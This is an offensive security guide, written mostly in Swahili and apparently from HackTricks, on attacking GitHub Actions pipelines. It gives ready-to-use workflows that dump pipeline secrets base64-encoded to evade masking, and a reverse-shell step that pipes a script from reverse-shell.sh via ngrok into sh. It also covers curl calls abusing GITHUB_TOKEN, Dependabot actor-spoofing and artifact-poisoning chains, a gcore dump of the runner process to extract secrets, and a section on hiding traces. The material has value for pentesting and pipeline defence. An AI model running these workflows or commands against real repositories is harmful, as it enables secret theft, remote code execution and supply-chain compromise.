Abusing Github Actions

Reading time: 20 minutes

Tools

Zana zifuatazo ni muhimu kupata Github Action workflows na hata kupata zile zenye udhaifu:

• https://github.com/CycodeLabs/raven
• https://github.com/praetorian-inc/gato
• https://github.com/AdnaneKhan/Gato-X
• https://github.com/carlospolop/PurplePanda
• https://github.com/zizmorcore/zizmor - Angalia pia orodha yake katika https://docs.zizmor.sh/audits

Basic Information

Katika ukurasa huu utapata:

• Muhtasari wa athari zote za mshambuliaji anayefaulu kupata ufikiaji wa Github Action
• Njia tofauti za kupata ufikiaji wa action:
• Kuwa na idhini za kuunda action
• Kunyanyasa michocheo inayohusiana na pull request
• Kunyanyasa mbinu nyingine za ufikiaji wa nje
• Pivoting kutoka kwa repo iliyoshambuliwa tayari
• Hatimaye, sehemu kuhusu mbinu za baada ya kunyanyasa ili kunyanyasa action kutoka ndani (kuzalisha athari zilizoelezwa)

Impacts Summary

Kwa utangulizi kuhusu Github Actions angalia taarifa za msingi.

Ikiwa unaweza kutekeleza msimbo wa kiholela katika GitHub Actions ndani ya repo, unaweza kuwa na uwezo wa:

• Kuhujumu siri zilizowekwa kwenye pipeline na kunyanyasa mamlaka ya pipeline kupata ufikiaji usioidhinishwa kwa majukwaa ya nje, kama AWS na GCP.
• Kuhujumu deployments na artifacts nyingine.
• Ikiwa pipeline inapeleka au kuhifadhi mali, unaweza kubadilisha bidhaa ya mwisho, kuwezesha shambulio la mnyororo wa usambazaji.
• Kutekeleza msimbo katika wafanyakazi maalum ili kunyanyasa nguvu za kompyuta na pivot kwa mifumo mingine.
• Kufuta msimbo wa repo, kulingana na ruhusa zinazohusiana na GITHUB_TOKEN.

GITHUB_TOKEN

Hii "siri" (inayotoka ${{ secrets.GITHUB_TOKEN }} na ${{ github.token }}) inatolewa wakati admin anapowezesha chaguo hili:

Token hii ni sawa na ile ambayo Github Application itatumia, hivyo inaweza kufikia mwisho sawa: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Unaweza kuona idhini zinazowezekana za token hii katika: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Kumbuka kwamba token inaisha muda baada ya kazi kukamilika.
Token hizi zinaonekana kama hii: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Mambo kadhaa ya kuvutia unayoweza kufanya na token hii:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"

# Approve a PR
curl -X POST \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"event":"APPROVE"}'

# Create a PR
curl -X POST \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
-d '{"head":"<branch_name>","base":"master", "title":"title"}'

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

Inawezekana kuangalia ruhusa zilizotolewa kwa Github Token katika hifadhi za watumiaji wengine kwa kuangalia kumbukumbu za vitendo:

Utekelezaji Ulioidhinishwa

Utekelezaji Kutoka kwa Uundaji wa Hifadhi

Katika kesi ambapo wanachama wa shirika wanaweza kuunda hifadhi mpya na unaweza kutekeleza vitendo vya github, unaweza kuunda hifadhi mpya na kuiba siri zilizowekwa katika kiwango cha shirika.

Utekelezaji Kutoka kwa Tawi Jipya

Ikiwa unaweza kuunda tawi jipya katika hifadhi ambayo tayari ina Github Action iliyowekwa, unaweza kubadilisha hiyo, kupakia maudhui, na kisha kutekeleza kitendo hicho kutoka kwa tawi jipya. Kwa njia hii unaweza kuondoa siri za hifadhi na shirika (lakini unahitaji kujua zinaitwaje).

Unaweza kufanya kitendo kilichobadilishwa kiwe na uwezo wa kutekelezwa kwa mikono, wakati PR inaundwa au wakati kodi fulani inasukumwa (kulingana na jinsi unavyotaka kuwa na kelele):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches

Forked Execution

pull_request

Vichocheo vya kazi pull_request vitatekeleza kazi kila wakati ombi la kuvuta linapopokelewa na baadhi ya visingizio: kwa kawaida ikiwa ni mara ya kwanza unapo shirikiana, baadhi ya wasimamizi watahitaji kuthibitisha kuendesha kazi hiyo:

Zaidi ya hayo, kwa kawaida inazuia ruhusa za kuandika na ufikiaji wa siri kwa hifadhi lengwa kama ilivyotajwa katika docs:

Kwa kuzingatia GITHUB_TOKEN, siri hazipitishwi kwa mchezaji wakati kazi inachochewa kutoka hifadhi iliyoforked. GITHUB_TOKEN ina ruhusa za kusoma tu katika maombi ya kuvuta kutoka hifadhi zilizoforked.

Mshambuliaji anaweza kubadilisha ufafanuzi wa Github Action ili kutekeleza mambo yasiyo na mipaka na kuongeza vitendo vya kiholela. Hata hivyo, hataweza kuiba siri au kufuta repo kwa sababu ya vikwazo vilivyotajwa.

Kwa kuwa mshambuliaji pia anadhibiti msimbo unaotekelezwa, hata kama hakuna siri au ruhusa za kuandika kwenye GITHUB_TOKEN, mshambuliaji anaweza kwa mfano kupakia vitu vya uharibifu.

pull_request_target

Vichocheo vya kazi pull_request_target vina ruhusa za kuandika kwa hifadhi lengwa na ufikiaji wa siri (na havihitaji ruhusa).

Kumbuka kwamba vichocheo vya kazi pull_request_target vinakimbia katika muktadha wa msingi na si katika ile inayotolewa na PR (ili kutoendesha msimbo usioaminika). Kwa maelezo zaidi kuhusu pull_request_target angalia docs.
Zaidi ya hayo, kwa maelezo zaidi kuhusu matumizi haya hatari maalum angalia hii blogu ya github.

Inaweza kuonekana kwamba kwa kuwa kazi inayotekelezwa ni ile iliyofafanuliwa katika msingi na siyo katika PR ni salama kutumia pull_request_target, lakini kuna mambo machache ambapo si salama.

Na hii itakuwa na ufikiaji wa siri.

workflow_run

Vichocheo vya workflow_run vinaruhusu kuendesha kazi kutoka nyingine wakati inakamilika, inahitajika au inaendelea.

Katika mfano huu, kazi imewekwa ili kuendesha baada ya kazi tofauti "Run Tests" kukamilika:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Zaidi ya hayo, kulingana na nyaraka: Mchakato ulioanzishwa na tukio la workflow_run unaweza kupata siri na kuandika tokeni, hata kama mchakato wa awali haukuwa.

Aina hii ya mchakato inaweza kushambuliwa ikiwa inategemea mchakato ambao unaweza kuanzishwa na mtumiaji wa nje kupitia pull_request au pull_request_target. Mfano kadhaa wa hatari unaweza kupatikana kwenye blogu hii. Wa kwanza unajumuisha workflow_run ulioanzishwa mchakato wa kupakua msimbo wa washambuliaji: ${{ github.event.pull_request.head.sha }}
Wa pili unajumuisha kupitisha artifact kutoka kwa msimbo usioaminika hadi kwenye mchakato wa workflow_run na kutumia maudhui ya artifact hii kwa njia inayofanya iwe hatari kwa RCE.

workflow_call

TODO

TODO: Angalia ikiwa wakati inatekelezwa kutoka kwa pull_request msimbo uliotumika/kupakuliwa ni ule kutoka kwa asili au kutoka kwa PR iliyofanywa.

Kutumia Utekelezaji wa Forked

Tumetaja njia zote ambazo mshambuliaji wa nje anaweza kufanikiwa kufanya mchakato wa github utekelezwe, sasa hebu tuangalie jinsi utekelezaji huu, ikiwa umewekwa vibaya, unaweza kutumiwa vibaya:

Utekelezaji wa checkout usioaminika

Katika kesi ya pull_request, mchakato utaanzishwa katika muktadha wa PR (hivyo utaanzisha msimbo wa PR mbaya), lakini mtu anahitaji kuidhinisha kwanza na utaendesha kwa baadhi ya mipaka.

Katika kesi ya mchakato unaotumia pull_request_target au workflow_run inayotegemea mchakato ambao unaweza kuanzishwa kutoka pull_request_target au pull_request msimbo kutoka kwa repo ya asili utaanzishwa, hivyo mshambuliaji hawezi kudhibiti msimbo unaotekelezwa.

# INSECURE. Imepatikana kama mfano tu.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

Msimbo unaoweza kuwa usioaminika unatekelezwa wakati wa npm install au npm build kwani skripti za kujenga na pakiti zinazorejelewa zinadhibitiwa na mwandishi wa PR.

Makinika ya Muktadha ya Skripti

Kumbuka kuwa kuna baadhi ya muktadha ya github ambao thamani zao zina dhibitiwa na mtumiaji anayezalisha PR. Ikiwa action ya github inatumia data hiyo kutekeleza chochote, inaweza kusababisha utekelezaji wa msimbo wa kiholela:

Gh Actions - Context Script Injections

GITHUB_ENV Utekelezaji wa Skripti

Kutoka kwenye nyaraka: Unaweza kufanya kigezo cha mazingira kiweze kupatikana kwa hatua zozote zinazofuata katika kazi ya mchakato kwa kufafanua au kuboresha kigezo cha mazingira na kuandika hii kwenye faili ya mazingira ya GITHUB_ENV.

Ikiwa mshambuliaji anaweza kuingiza thamani yoyote ndani ya kigezo hiki, anaweza kuingiza vigezo vya mazingira ambavyo vinaweza kutekeleza msimbo katika hatua zinazofuata kama LD_PRELOAD au NODE_OPTIONS.

Kwa mfano (hii na hii), fikiria mchakato ambao unategemea artifact iliyopakiwa kuhifadhi maudhui yake ndani ya kigezo cha GITHUB_ENV. Mshambuliaji anaweza kupakia kitu kama hiki ili kukiharibu:

Dependabot na bots wengine wa kuaminika

Kama ilivyoonyeshwa katika hiki kipande cha blogu, mashirika kadhaa yana Action ya Github inayounganisha PR yoyote kutoka dependabot[bot] kama ilivyo:

on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m

Ni tatizo kwa sababu uwanja wa github.actor unajumuisha mtumiaji aliyeleta tukio la hivi karibuni lililosababisha mchakato wa kazi. Na kuna njia kadhaa za kumfanya mtumiaji dependabot[bot] kubadilisha PR. Kwa mfano:

• Fork hifadhi ya mwathirika
• Ongeza mzigo mbaya kwenye nakala yako
• Wezesha Dependabot kwenye fork yako kwa kuongeza utegemezi wa zamani. Dependabot itaunda tawi linalosahihisha utegemezi huo kwa msimbo mbaya.
• Fungua Pull Request kwa hifadhi ya mwathirika kutoka tawi hilo (PR itaundwa na mtumiaji hivyo hakuna kitu kitakachotokea bado)
• Kisha, mshambuliaji anarudi kwenye PR ya awali ambayo Dependabot ilifungua kwenye fork yake na anatekeleza @dependabot recreate
• Kisha, Dependabot inatekeleza hatua kadhaa katika tawi hilo, ambazo zilibadilisha PR juu ya hifadhi ya mwathirika, ambayo inafanya dependabot[bot] kuwa mtendaji wa tukio la hivi karibuni lililosababisha mchakato wa kazi (na kwa hivyo, mchakato wa kazi unakimbia).

Tukihamia mbele, je, ni nini kitatokea badala ya kuunganisha ikiwa Github Action ingekuwa na uingizaji wa amri kama katika:

on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}

Vizuri, blogu ya asili inapendekeza chaguzi mbili za kutumia tabia hii, ambapo ya pili ni:

• Fork repo ya mwathirika na kuwezesha Dependabot na utegemezi fulani wa zamani.
• Unda tawi jipya lenye msimbo wa kuingilia wa shell mbaya.
• Badilisha tawi la chaguo-msingi la repo kuwa hilo.
• Unda PR kutoka tawi hili kwenda repo ya mwathirika.
• Endesha @dependabot merge katika PR ambayo Dependabot ilifungua katika fork yake.
• Dependabot atachanganya mabadiliko yake katika tawi la chaguo-msingi la repo yako iliyofork, akisasisha PR katika repo ya mwathirika na kufanya sasa dependabot[bot] kuwa muigizaji wa tukio la hivi karibuni lililosababisha workflow na kutumia jina la tawi la uhalifu.

Github Actions za Tatu Zenye Uthibitisho

dawidd6/action-download-artifact

Kama ilivyotajwa katika blogu hii, Github Action hii inaruhusu kufikia artifacts kutoka workflows tofauti na hata repositories.

Tatizo ni kwamba ikiwa path haijakamilishwa, artifact inachukuliwa katika directory ya sasa na inaweza kubadilisha faili ambazo zinaweza kutumika baadaye au hata kutekelezwa katika workflow. Hivyo, ikiwa Artifact ina udhaifu, mshambuliaji anaweza kutumia hii kuathiri workflows zingine zinazotegemea Artifact.

Mfano wa workflow yenye udhaifu:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Hii inaweza kushambuliwa kwa kutumia mchakato huu:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Mtu Mwingine wa Nje

Utekaji wa Repo ya Namespace Iliyofutwa

Ikiwa akaunti inabadilisha jina lake, mtumiaji mwingine anaweza kujiandikisha na akaunti hiyo baada ya muda fulani. Ikiwa repo ilikuwa na nyota chini ya 100 kabla ya kubadilisha jina, Github itaruhusu mtumiaji mpya aliyejiandikisha kwa jina hilo kuunda repo yenye jina sawa na ile iliyofutwa.

Ikiwa repo nyingine zilikuwa zikitumika kutegemea kutoka kwa repo za mtumiaji huyu, mshambuliaji ataweza kuzikamata. Hapa kuna maelezo kamili zaidi: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/

Repo Pivoting

Upoison wa Cache

Cache inahifadhiwa kati ya mchakato wa kazi katika tawi moja. Hii ina maana kwamba ikiwa mshambuliaji ataathiri pakiti ambayo kisha inahifadhiwa kwenye cache na kupakuliwa na kutekelezwa na mchakato wa kazi wenye mamlaka zaidi, ataweza pia kuathiri mchakato huo wa kazi.

GH Actions - Cache Poisoning

Upoison wa Kazi

Mchakato wa kazi unaweza kutumia kazi kutoka kwa mchakato mwingine na hata repo, ikiwa mshambuliaji anafanikiwa kuathiri Github Action ambayo inaweka kazi ambayo baadaye inatumika na mchakato mwingine wa kazi, anaweza kuathiri mchakato mwingine wa kazi:

Gh Actions - Artifact Poisoning

Baada ya Utekelezaji kutoka kwa Hatua

Kufikia AWS na GCP kupitia OIDC

Angalia kurasa zifuatazo:

AWS - Federation Abuse

GCP - Federation Abuse

Kufikia siri

Ikiwa unachanganya maudhui kwenye script, ni muhimu kujua jinsi ya kufikia siri:

• Ikiwa siri au token imewekwa kwenye kigezo cha mazingira, inaweza kufikiwa moja kwa moja kupitia mazingira kwa kutumia printenv.

name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

• Ikiwa siri inatumika moja kwa moja katika muktadha, skripti ya shell iliyotengenezwa inahifadhiwa kwenye diski na inapatikana.

cat /home/runner/work/_temp/*

- Kwa hatua za JavaScript, siri zinatumwa kupitia mabadiliko ya mazingira.
- ```bash
ps axe | grep node

• Kwa hatua maalum, hatari inaweza kutofautiana kulingana na jinsi programu inavyotumia siri iliyoipata kutoka kwa hoja:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Kutumia waendeshaji wa kujitegemea

Njia ya kutafuta ni zipi Github Actions zinafanywa katika miundombinu isiyo ya github ni kutafuta runs-on: self-hosted katika usanidi wa yaml wa Github Action.

Waendeshaji wa kujitegemea wanaweza kuwa na ufikiaji wa habari nyeti zaidi, kwa mifumo mingine ya mtandao (nukta dhaifu katika mtandao? huduma ya metadata?) au, hata kama imejitengea na kuharibiwa, hatua zaidi ya moja zinaweza kufanywa kwa wakati mmoja na ile mbaya inaweza kuiba siri za nyingine.

Katika waendeshaji wa kujitegemea pia inawezekana kupata siri kutoka kwa _Runner.Listener_** mchakato** ambao utakuwa na siri zote za kazi katika hatua yoyote kwa kutupa kumbukumbu yake:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Angalia post hii kwa maelezo zaidi.

Github Docker Images Registry

Inawezekana kuunda hatua za Github ambazo zitajenga na kuhifadhi picha ya Docker ndani ya Github.
Mfano unaweza kupatikana katika yafuatayo yanayoweza kupanuliwa:

[...]

- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1

- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}

- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

Kama unavyoona katika msimbo wa awali, usajili wa Github unahifadhiwa katika ghcr.io.

Mtumiaji mwenye ruhusa za kusoma juu ya repo basi ataweza kupakua Picha ya Docker akitumia tokeni ya ufikiaji wa kibinafsi:

echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Kisha, mtumiaji anaweza kutafuta siri zilizovuja katika tabaka za picha za Docker:

Docker Forensics - HackTricks

Taarifa nyeti katika kumbukumbu za Github Actions

Hata kama Github inajaribu kubaini thamani za siri katika kumbukumbu za hatua na kuepuka kuonyesha hizo, data nyeti nyingine ambazo zinaweza kuwa zimeundwa katika utekelezaji wa hatua hiyo hazitafichwa. Kwa mfano, JWT iliyosainiwa kwa thamani ya siri haitafichwa isipokuwa imewekwa maalum.

Kufunika Nyayo Zako

(Teknolojia kutoka hapa) Kwanza kabisa, PR yoyote iliyoinuliwa inaonekana wazi kwa umma katika Github na kwa akaunti ya lengo ya GitHub. Katika GitHub kwa kawaida, hatuwezi kufuta PR ya mtandao, lakini kuna mabadiliko. Kwa akaunti za Github ambazo zime simamishwa na Github, PR zao zote zinafuta moja kwa moja na kuondolewa kutoka mtandao. Hivyo ili kuficha shughuli zako unahitaji ama kupata akaunti yako ya GitHub isimamishwe au kupata akaunti yako iwe na alama. Hii itaficha shughuli zako zote kwenye GitHub kutoka mtandao (kimsingi kuondoa PR zako zote za unyanyasaji)

Shirika katika GitHub lina ufanisi mkubwa katika kuripoti akaunti kwa GitHub. Unachohitaji kufanya ni kushiriki "mambo fulani" katika Issue na watakikisha akaunti yako imesimamishwa ndani ya masaa 12 :p na hapo umepata, umefanya unyanyasaji wako usionekane kwenye github.